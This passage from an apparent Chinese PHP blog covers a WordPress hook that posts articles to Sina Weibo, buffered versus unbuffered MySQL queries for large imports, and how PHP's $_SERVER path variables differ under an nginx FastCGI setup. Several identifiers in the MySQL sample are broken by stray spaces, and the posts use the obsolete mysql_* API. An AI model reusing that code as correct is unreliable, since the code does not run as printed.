    	$api_url = 'https://upload.api.weibo.com/2/statuses/upload.json';
        //设置Content-Type编码为multipart/form-data
    	$headers['Content-Type'] = 'multipart/form-data; boundary='.$str_b;
    }
    //请求接口发送数据,详见wordpress自带的WP_http类
    $result = $request->post( $api_url , array( 'body' => $body, 'headers' => $headers ) );
}

//最后将这个函数挂到pulish_post钩子上,发表文章后就会触发这个函数
add_action('publish_post', 'post_to_sina_weibo', 0);

 

这段代码理论上来说你可以拿去直接用了,只需按注释上说的修改几个参数为自己的就行了。

这也是我研究琢磨出来的,有任何疑问可以一起探讨。

用mysql_unbuffered_query函数取大数据

昨天在做项目的时候,因为涉及到数据表结构的改动,需要进行大量数据的导入,那么如何高效的进行是我比较关注的。本文暂且从使用PHP脚本层面上来说,因为使用其他语言或其他方式也可以进行数据的重导。

在讨论这个问题的时候,前辈给我的意见就是单独做一个脚本,如果能拿python做更好,当然,python我还不是很会,所以拿php也能完成。既然这样,就采用最原生的方式来进行数据的重导。

整个过程中要先从一张表中取出全部数据,再进行数据的处理后导入到新的数据表中。而就我测试的那个数据库中的那张表里,数据量就已经上万了,如果直接全部取出必定会有性能上的问题。

他人给我的建议是,使用mysql_connect后用mysql_query执行sql(取大数据的情况如sele ct * from tbl)语句,理由是mysql_query不是返回的数据结果,因为后面用到mysql_fetch_assoc之类的函数,进行游标的移动来取得数据。并在sql执行前后分别使用了memory_get_usage来查看内存使用量。当然,执行后内存使用量比执行前大了,虽然使用了不多的内存,但对于只是测试数据库里的数据而言还行,当数据处理量很大的时候,php程序脚本可能会崩溃。为了确保重导真正线上数据库的数据万无一失,我还是查了一些相关资料。

最后了解到PHP中有个mysql_unbuffered_query这个函数,与mysql_query有点类似,手册上写了该函数不缓存的查询结果,它所带来的好处就是一不用缓存结果,二就是不必等待全部查询后进行操作,而是直接获取一条数据就可以操作。而mysql_query是查询出所有符合条件的结果并缓存后才能进行操作,这就让我怀疑之前建议的那个方法。

于是我同样用mysql_unbuffered_query查询同样一条sql语句,也同样对执行前后查看了内存使用量,结果前后内存使用量没有变,这就说明了内存并没有被拿来做查询数据缓存的相关事情。当然也可以使用以下方法来测试:

   $link = mysql_con nect('localhost','root','root');
   mysql_select_ db('phpcms');
   $sql = "SEL ECT * FROM `phpcms_content`"; 
   //$result = mysql_unbuffered_query($sql,$link);
   $result = mysql_query($sql,$link);

   while ($row = mysql_fe tch_array($result, MYSQL_NUM)) {
      printf ("ID: %s Name: %s", $row[0], $row[1]);
   }
   mysql_data_seek($result,0);
   echo "<br/>";
   while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
      printf ("ID: %s Name: %s", $row[0], $row[1]);
   }

    mysql_free_result($result);

你会发现使用mysql_query会输出两次,而mysql_unbuffered_query只输出一次,说明使用mysql_query查询结果必定被缓存了,而使用mysql_unbuffered_query则边进行查询边给出结果。

最后再说明,使用mysql_unbuffered_query的话,不能使用mysql_num_rows()和mysql_data_seek()这也正因为它的特性方式决定了这样。还有比较重要的一点,如果你只是单单获取大数据量使用这个函数可以,但是,如果你在取得大数据的时候,使用while($row = mysql_fetch_assoc($result))方式进行执行新的sql语句的话,会出错。手册上也写明了,在执行一条心的sql之前,要提取所有未缓存的sql查询所产生的行。所以只使用mysql_unbuffered_query取数据可以,但期间还要执行其他sql就不行了。

以上只是我对这个函数的初步认识,如果理解有误,也希望能指正交流。

 

 

PHP_SELF,SCRIPT_NAME,SCRIPT_FILENAME,PATH_INFO,REQUEST_URI的区别

前言

PHP$_SERVER数组中存在五个和路径相关的变量:PHP_SELFSCRIPT_NAME
SCRIPT_FILENAMEPATH_INFOREQUEST_URI,这五个变量经常会被混淆,做下区分。

测试环境

Nginx0.8.54 + FastCGI + PHP5.3.4

要先配置Nginx的PATH_INFO,在nginx.conf中加入如下配置:

location ~ .* .php {
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;

    #从$fastcgi_script_name中分离出真正执行的脚本名称和PATH_INFO
    set $real_script_name $fastcgi_script_name;

    if ($fastcgi_script_name ~ "^(.+?.php)(/.+)$") {
        set $real_script_name $1;
        set $path_info $2;
     }

    #重新设置SCRIPT_FILENAME
    fastcgi_param SCRIPT_FILENAME $document_root$real_script_name;
    fastcgi_param  QUERY_STRING       $query_string;
    fastcgi_param  REQUEST_METHOD     $request_method;
    fastcgi_param  CONTENT_TYPE       $content_type;
    fastcgi_param  CONTENT_LENGTH     $content_length;

    #重新设置SCRIPT_NAME

    fastcgi_param SCRIPT_NAME $real_script_name;
    fastcgi_param PATH_INFO $path_info;
    fastcgi_param  REQUEST_URI        $request_uri;
    fastcgi_param  DOCUMENT_URI       $document_uri;
    fastcgi_param  DOCUMENT_ROOT      $document_root;
    fastcgi_param  SERVER_PROTOCOL    $server_protocol;
    fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
    fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;
    fastcgi_param  REMOTE_ADDR        $remote_addr;
    fastcgi_param  REMOTE_PORT        $remote_port;
    fastcgi_param  SERVER_ADDR        $server_addr;
    fastcgi_param  SERVER_PORT        $server_port;
    fastcgi_param  SERVER_NAME        $server_name;

    # PHP only, required if PHP was built with --enable-force-cgi-redirect
    fastcgi_param  REDIRECT_STATUS    200;
}

我们的根目录为/var/www,测试域名为example.com(不过这个域名只能改hosts文件YY一下了),结构如下:

var
 |---www
       |---test
             |---test.php

测试脚本

使用如下脚本进行测试:

<?php
    echo 'SCRIPT_NAME=' . $_SERVER['SCRIPT_NAME'] . '<br />';
    echo 'SCRIPT_FILENAME=' . $_SERVER['SCRIPT_FILENAME'] . '<br />';
    echo 'PATH_INFO=' . $_SERVER['PATH_INFO'] . '<br />';
    echo 'REQUEST_URI=' . $_SERVER['REQUEST_URI'] . '<br />';
?>

测试结果

  • PHP_SELF: 当前所执行的脚本的文件名,这个值是相对于根目录来说。

    如果请求http://example.com/test/test.php?k=v,则PHP_SELF的值为
    /test/test.php
  • SCRIPT_NAME: 当前执行的脚本的路径。

    如果请求http://example.com/test/test.php?k=v,则SCRIPT_NAME的值
    /test/test.php。这个变量是在CGI/1.1中定义的。
  • SCRIPT_FILENAME: 当前执行的脚本的绝对路径。

    如果请求http://example.com/test/test.php?k=v,则SCRIPT_FILENAME的值
    /var/www/test/test.php

    注意:如果一个脚本以相对路径,CLI方式来执行,例如../test/test.php,那么
    $_SERVER['SCRIPT_FILENAME']的值为相对路径,即../test/test.php
  • PATH_INFO:客户端提供的路径信息,即在实际执行脚本后面尾随的内容,但是会去掉Query String

    如果请求http://example.com/test/test.php/a/b?k=v,则PATH_INFO的值为/a/b

    CGI1.1标准中如下描述:"The PATH_INFO string is the trailing part of thecomponent of the script URI that follows the SCRIPT_NAME part of the path."
  • REQUEST_URI:包含HTTP协议中定义的URI内容。

    如果请求http://example.com/test/test.php?k=v,则REQUEST_URI
    /test/test.php?k=v

区别

  • PHP_SELF VS SCRIPT_NAME:

    PHP_SELFSCRIPT_NAME的值在大部分情况下都是一样的,但是访问
    http://example.com/test/test.php/a/b?k=v这类URL时候,PHP_SELF
    /test/test.php/a/bSCRIPT_NAME/test/test.php,可以看出PHP_SELF
    SCRIPT_NAME多了PATH_INFO的内容。
  • REQUEST_URI VS SCRIPT_NAME:

    在访问http://example.com/test/test.php?k=v后,REQUEST_URI
    /test/test.php?k=vSCRIPT_NAME/test/test.php,可以看出REQUEST_URI
    SCRIPT_NAME多了Query String

    如果http://example.com/test/test.php在服务器端做了rewrite
      rewrite /test/test.php /test/test2.php; 
    

    那么REQUEST_URI/test/test.phpSCRIPT_NAME/test/test2.php

参考

http://tools.ietf.org/html/draft-robinson-www-interface-00
http://stackoverflow.com/questions/279966/php-self-vs-path-info-vs-script-name-vs-request-uri
http://ca.php.net/manual/en/reserved.variables.server.php

(完)